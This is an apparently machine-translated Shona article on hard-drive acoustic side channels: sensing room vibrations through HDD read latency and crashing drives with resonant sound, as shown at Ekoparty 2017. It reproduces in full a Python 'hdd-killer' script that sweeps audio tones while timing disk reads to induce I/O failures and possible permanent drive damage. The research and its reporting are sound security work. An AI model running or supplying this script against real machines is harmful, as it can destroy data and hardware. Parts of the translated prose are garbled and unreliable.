Sei usingafaniri kudanidzira paHDD yako

Sei usingafaniri kudanidzira paHDD yako

Pamusangano wekuchengetedzwa kwekombuta weEkoparty 2017 muBuenos Aires, mubairo wekuArgentina Alfredo Ortega akaratidza budiriro inonakidza - hurongwa hwekuvhara waya kwenzvimbo pasina kushandisa maikorofoni. Inzwi yakanyorwa zvakananga kune hard drive!

Iyo HDD inonyanya kutora yakakwira-yakanyanya kudzika-frequency manzwi, tsoka uye kumwe kudedera. Kutaura kwomunhu hakusati kuchigona kuzivikanwa, kunyange zvazvo masayendisiti vari kuita tsvakiridzo munzira iyi (kuzivikanwa kwekutaura ne-low-frequency vibrations, iyo yakanyorwa, semuenzaniso, kubva kune gyroscope kana HDD).

Ruzha ndiko kutenheka kwemhepo kana imwe svikiro. Munhu anozviona kuburikidza nerumu renzeve, iro rinoendesa kudengenyeka kunopinda mukati kwenzeve. Iyo maikorofoni yakagadzirwa zvakada kuita senzeve - pano, zvakare, mavibrations anorekodhwa neatete membrane, ayo anofadza simba remagetsi. Iyo hard drive, hongu, zvakare iri pasi pe microscopic vibrations nekuda kwekushanduka kwemhepo yakatenderedza. Izvi zvinozivikanwa kunyangwe kubva kuhunyanzvi hunhu hweHDDs: vagadziri vanowanzo ratidza iyo yakanyanya kutenderwa vibration level, uye hard drive pachayo inowanzo edza kuiisa mumudziyo wevibration-proof wakagadzirwa nerabha kana zvimwe zvinodzivirira zvinhu. Kubva pane izvi zviri nyore kugumisa kuti manzwi anogona kurekodhwa uchishandisa HDD. Chasara kungofunga kuti sei.

Alfredo Ortega akakurudzira yakasarudzika vhezheni yedivi-chiteshi kurwisa, inova nguva yekurwiswa. Kurwiswa uku kunobva pafungidziro yekuti mashandiro akasiyana anoitwa pachigadzirwa panguva dzakasiyana, zvichienderana nedata rekuisa rakapihwa. Muchiitiko ichi, "input data" ndiyo kudengenyeka kwemusoro wekuverenga uye HDD platter, iyo inopindirana nekudengenyeka kwenharaunda, kureva, nezwi. Nokudaro, nekuyera nguva yekuverenga uye kuita nhamba yekuongorora data, kudengenyeka kwemusoro / ndiro uye naizvozvo kudengenyeka kwepakati kunogona kuyerwa. Iyo yakareba kunonoka kuverenga data, iyo yakasimba iyo HDD vibrations uye, saka, iyo inonzwika ruzha.

Nzira yekuyera sei hard drive vibration? Yakareruka kwazvo: ingo mhanyisa system call read () - uye nyora nguva yainotora kuti upedze. Zvishandiso zvemazuva ano zvinokutendera kuti uverenge nguva yekufona kwesystem ne nanosecond accuracy.

Iko kumhanya kwekuverenga ruzivo kubva kuchikamu kunoenderana nenzvimbo yemusoro nendiro, iyo inoenderana nekudengenyeka kweiyo HDD kesi. Ndizvo zvose.

Statistical ongororo inoitwa uchishandisa nyore Kscope utility. Sezvavanotaura, zvinhu zvose zvine njere zviri nyore.

Sei usingafaniri kudanidzira paHDD yako
Kscope utility (stat () syscall)

Kscope ishandiso diki yekuona misiyano midiki muhurongwa hwekufona nguva. Sourceyakabudiswa paGitHub.

Mune imwe nzvimbo yekuchengetedza HDD-nguva kune vhezheni yezvishandiso zvakagadzirirwa nguva yekurwiswa pane hard drive, ndiko kuti, yakagadzirirwa kuongorora iyo system call. read ().

Kuratidzira kwekurekodha ruzha uchishandisa HDD, kushanda kweKscope utility


Ehe, kutaura hakugone kunzwisiswa nenzira iyi, asi iyo HDD yakanyatso kurongeka senge vibration sensor. Semuenzaniso, unogona kunyoresa kana munhu akapfeka shangu dzakaoma kana asina shangu akapinda mukamuri ine komputa (pamwe, kana munhu anorwisa akapfeka sneakers dzakapfava kana pasi pekapeti gobvu, HDD haizokwanisi kunyoresa vibrations - izvi zvakakodzera kuongororwa). Iyo komputa inokwanisa kunyoresa girazi rakaputsika kana zvimwe zviitiko zvine simba rakasimba rekurira. Ndiko kuti, hard drive inogona kushanda semhando isina kutenderwa intrusion yekuona system.

HDD mhondi

Nenzira, nzira yakafanana inogona kushandiswa kudzima hard drive. Pano chete isu hatibvisi oscillations kubva kuHDD, asi zvinopesana, isu tinogadzira maoscillations anopihwa kuHDD. Kana iwe ukaridza ruzha kubva kumutauri pane frequency inopindirana neiyo HDD frequency, iyo system inokurumidza kudzima chishandiso neI / O kukanganisa (iyo Linux kernel inodzima zvachose HDD mushure memasekondi zana nemakumi maviri). Iyo hard drive pachayo inogona kukuvadzwa isingadzokerike.

Sei usingafaniri kudanidzira paHDD yako
Iyo Linux kernel yakadzima hard drive mushure memasekonzi zana nemakumi maviri ekuburitsa ruzha pane inonzwika frequency kuburikidza nemutauri weEdifier r120u USB mutauri. Mutauri anobatidzwa panenge chikamu chechina chesimba (risingasviki 19 mW) uye inowanikwa 100 cm kubva paHDD, yakanangwa patafura kuti iwedzere kuzunguzika. Frame kubva vhidhiyo nekuratidzira kwemuurayi weHDD

Zvinoda kuziva kuti "kurwisa" kwakadaro paHDD dzimwe nguva kunoitika zvachose netsaona muhupenyu hwezuva nezuva. Semuenzaniso, munaGunyana 2016, iyo ING Bank data center yakamanikidzwa kumisa kushanda kwemaawa gumi mushure mekudhirowa kwemoto. Madhizaini emahard drive akundikana nekuda kwekunzwika kukuru kwegasi inert inoburitswa kubva mumasilinda pasi pekumanikidzwa kwakanyanya. Ruzha rwaive rwakanyanya (kupfuura 130 dB), asi haugone kana kusheedzera pama hard drive - izvi zvinowedzera kunonoka kuwana HDD.

Kuratidzira kwevanhu vachipopota pama hard drive munzvimbo yedata. Latency kuyerwa


Kuti agadzire ruzha rwunoita, Alfredo Ortega akanyora chinyorwa chePython chinonzi HDd-muurayi (kuratidzwa kwevhidhiyo).

HDD killer script Idiki, saka unogona kuishambadza yakazara pano.

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

Source: www.habr.com

Voeg